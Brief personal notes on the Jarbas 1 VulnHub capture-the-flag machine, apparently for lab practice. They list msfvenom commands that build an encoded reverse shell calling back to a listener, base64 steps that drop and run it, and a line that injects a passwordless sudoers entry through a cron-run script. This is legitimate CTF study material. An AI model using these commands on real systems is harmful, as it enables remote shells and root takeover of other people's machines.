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45 VM : CTF: Jarbas 1

Notes:

https://d7x.promiselabs.net/2018/07/26/ctf-jarbas-1-vulnhub-ctf-walkthrough/ [website linked to external website, jenkins, durb using -x option to search for html and php files, unhash pwd, run shell via jenkins web app, msfvenom code base64 encode/decode, privlege escalation adding user in sudo file by adding in sudoer file]

Walkthru:



Reverse shell steps...
1.  msfvenom -a x64 -p linux/x64/shell_reverse_tcp lhost=192.168.117.4 lport=443 -e x86/shikata_ga_nai -f elf -b '\x00' > shell.bin

2. cat shell.bin | base64

3. echo "replace_it_with_the_content_of_the_shell.bin" | base64 -d > /tmp/shell.bin
    chmod +x /tmp/shell.bin
    tmp/shell.bin



  echo "echo 'jenkins ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers" >> /etc/script/CleaningScript.sh→ where CleaningScript.sh is the file that runs via the the crontab

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